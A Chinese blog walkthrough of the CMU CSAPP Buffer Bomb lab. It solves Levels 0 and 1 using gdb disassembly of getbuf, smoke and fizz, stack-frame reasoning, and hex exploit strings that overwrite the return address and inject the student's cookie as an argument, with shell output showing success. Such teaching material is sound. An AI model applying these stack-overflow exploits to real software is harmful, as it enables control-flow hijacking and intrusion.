标签：缓冲区溢出;实验
题目说明：
开启漏洞之旅，从基础做起。近日，下载了CMU为《深入理解计算机系统》（CSAPP）一书教学配合的缓冲区溢出实验Buffer Bomb，重温了栈溢出的原理。
题目提供了一个有漏洞溢出的程序bufbomb，包括五个Level，在每个Level中要求返回指定的函数、修改全局变量、执行Shellcode等，难度逐渐递增。为保证实验者作业的唯一性，实验提供了程序makecookie，生成指定用户名的cookie，在实验中将会用到这个cookie值。在我的机器上，
heen@linux:～/Study/CSAPP Exp/buflab$ ./makecookie heen 0x5573b7cf
bufbomb中包含一个有漏洞的函数getbuf
int getbuf()
{
char buf[12];
Gets(buf);
return 1;
}与标准的c函数gets类似，Gets从标准输入中读入字符串（直到回车‘\n‘或文件结尾EOF），添加一个null字符，并将其存入目标位置。在上述函数中，目标位置buf为一包含12个字节的字符数组。然而，Gets也不会对传入字符串的长度进行检查，这导致栈溢出的发生。当传入字符串不超过11字符时，
heen@linux:~/Study/CSAPP Exp/buflab$ ./bufbomb -t heen Team: heen Cookie: 0x5573b7cf Type string:hello Dud: getbuf returned 0x1 Better luck next time
当超过11字符时，
heen@linux:~/Study/CSAPP Exp/buflab$ ./bufbomb -t heen Team: heen Cookie: 0x5573b7cf Type string:this string is too long! Ouch!: You caused a segmentation fault! Better luck next time
实验还提供了一个程序sendstring，用于将十六进制表示的字符串（exploit string）转换为输入字符串，例如十六进制表示“30 31 32 33 34 35”被sendstring转换为对应的字符串“012345“。通过管道机制可以传递一系列的十六进制字符串。
heen@linux: cat exploit.txt | ./sendstring | ./bufbomb -t heen
Level0: Candle(10分）
getbuf函数被test函数调用
void test()
{
int val;
volatile int local = 0xdeadbeef;
val = getbuf();
/* Check for corrupted stack */
if (local != 0xdeadbeef) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
}
else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}在bufbomb中还有一个函数
void smoke()
{
printf("Smoke!: You called smoke()\n");
validate(0);
exit(0);
}要求提供exploit string，使getbuf返回到smoke而非test。
解法：
用gdb调试bufbomb，获知getbuf函数的栈帧布局，以及smoke函数的起始地址
heen@linux:~/Study/CSAPP Exp/buflab$ gdb -q ./bufbomb Reading symbols from /media/winF/Study/CSAPP Exp/buflab/bufbomb...done. (gdb) disass getbuf Dump of assembler code for function getbuf: 0x08048a44 <+0>: push ebp 0x08048a45 <+1>: mov ebp,esp 0x08048a47 <+3>: sub esp,0x18 0x08048a4a <+6>: add esp,0xfffffff4 0x08048a4d <+9>: lea eax,[ebp-0xc] ;ebp-0xc为指针buf的值 0x08048a50 <+12>: push eax 0x08048a51 <+13>: call 0x8048b50 <Gets> 0x08048a56 <+18>: mov eax,0x1 0x08048a5b <+23>: mov esp,ebp 0x08048a5d <+25>: pop ebp 0x08048a5e <+26>: ret End of assembler dump. (gdb) disass smoke Dump of assembler code for function smoke: 0x08048910 <+0>: push ebp 0x08048911 <+1>: mov ebp,esp 0x08048913 <+3>: sub esp,0x8 0x08048916 <+6>: add esp,0xfffffff4 0x08048919 <+9>: push 0x8049380 0x0804891e <+14>: call 0x8048748 <printf@plt> 0x08048923 <+19>: add esp,0xfffffff4 0x08048926 <+22>: push 0x0 0x08048928 <+24>: call 0x8048c30 <validate> 0x0804892d <+29>: add esp,0x20 0x08048930 <+32>: add esp,0xfffffff4 0x08048933 <+35>: push 0x0 0x08048935 <+37>: call 0x8048788 <exit@plt> End of assembler dump.
getbuf的栈帧布局如图所示。
输入20个字节的exploit string，覆盖getbuf返回地址为smoke函数的起始地址0x8048910，即可使getbuf返回到smoke。编写地址的时候，注意x86平台的little-ending。
heen@linux:~/Study/CSAPP Exp/buflab$ cat exploit1.txt 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 10 89 04 08 heen@linux:~/Study/CSAPP Exp/buflab$ cat exploit1.txt | ./sendstring |./bufbomb -t heen Team: heen Cookie: 0x5573b7cf Type string:Smoke!: You called smoke()
Level1: Sparkler(20分）
bufbomb中包含fizz函数
void fizz(int val)
{
if (val == cookie) {
printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}与上一关类似，要求getbuf不返回到test ,而是返回到fizz，但是必须设置fizz中函数调用的参数为自己的cookie 。
解法：
首先仍然在gdb中disass fizz函数，找出其起始地址为0x804893c，与上一关相同，这个值需要填入buf偏移的第17到20字节，以改写getbuf原来的返回地址。
heen@linux:~/Study/CSAPP Exp/buflab$ gdb -q ./bufbomb Reading symbols from /media/winF/Study/CSAPP Exp/buflab/bufbomb...done. (gdb) disass fizz Dump of assembler code for function fizz: 0x0804893c <+0>: push ebp 0x0804893d <+1>: mov ebp,esp 0x0804893f <+3>: sub esp,0x8 0x08048942 <+6>: mov eax,DWORD PTR [ebp+0x8] ;val存储的地址 0x08048945 <+9>: cmp eax,DWORD PTR ds:0x804aa50 0x0804894b <+15>: jne 0x8048970 <fizz+52> 0x0804894d <+17>: add esp,0xfffffff8 0x08048950 <+20>: push eax 0x08048951 <+21>: push 0x804939c 0x08048956 <+26>: call 0x8048748 <printf@plt> 0x0804895b <+31>: add esp,0xfffffff4 0x0804895e <+34>: push 0x1 0x08048960 <+36>: call 0x8048c30 <validate> 0x08048965 <+41>: add esp,0x20 0x08048968 <+44>: jmp 0x8048981 <fizz+69> 0x0804896a <+46>: lea esi,[esi+0x0] 0x08048970 <+52>: add esp,0xfffffff8 0x08048973 <+55>: push eax 0x08048974 <+56>: push 0x80493c0 0x08048979 <+61>: call 0x8048748 <printf@plt> 0x0804897e <+66>: add esp,0x10 0x08048981 <+69>: add esp,0xfffffff4 ---Type <return> to continue, or q <return> to quit---
其次，我们获知fizz函数调用中的参数val存储的地址为fizz函数中的ebp+0x8，这个地址为buf偏移的第25到28字节，如图所示,当getbuf函数返回时，堆栈中最后弹出我们控制的ret（0x804893c)，然后开始执行fizz函数，堆栈中又压入EBP，在EBP+0x8即ret+4的地方引用val，在这个地方填入我们的cookie即可达到目的。
heen@linux:~/Study/CSAPP Exp/buflab$ cat exploit2_right.txt 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 3c 89 04 08 61 61 61 61 cf b7 73 55
heen@linux:~/Study/CSAPP Exp/buflab$ cat exploit2_right.txt | ./sendstring | ./bufbomb -t heen Team: heen Cookie: 0x5573b7cf Type string:Fizz!: You called fizz(0x5573b7cf)
标签：缓冲区溢出;实验
原文地址：http://cybersec.blog.51cto.com/1149046/1549665
